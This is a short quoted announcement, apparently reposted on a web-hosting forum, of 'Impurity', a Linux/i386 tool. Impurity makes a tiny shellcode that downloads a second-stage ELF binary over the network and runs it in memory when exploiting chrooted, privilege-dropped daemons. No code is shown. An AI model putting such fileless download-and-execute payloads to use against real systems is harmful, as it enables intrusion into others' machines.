    > Impurity is a set of scripts which make it easy to produce a
    >shellcode ("first stage") which is able to download over the net an=20
    >executable ELF file ("second stage") and execute it without writing it to
    >the disk first. The first stage shellcode itself is almost constant (except=
    >=20
    >for one parameter, the executable length) and very short - 46 bytes. Using=
    >=20
    >this approach, one does not waste hours composing and debugging a complex=
    >=20
    >shellcode - just write a .c program, run impurity (which creates the second
    >stage ELF binary) and you are all set.
    > Impurity is mostly useful when exploiting a daemon which runs
    >chrooted and with dropped privileges; in such case one cannot simply execute
    >/bin/sh. Compare it with MOSDEF and InlineEgg.
    > Currently impurity is implemented for Linux/i386 only; however,=20
    >porting to other OS/architectures should be trivial, provided they use ELF=
    >=20
    >standard.
    >


Webhostingtalk.nl

Contact

  • Rokin 113-115
  • 1012 KP, Amsterdam
  • Nederland
  • Contact
© Copyright 2001-2026 Webhostingtalk.nl.
Web Statistics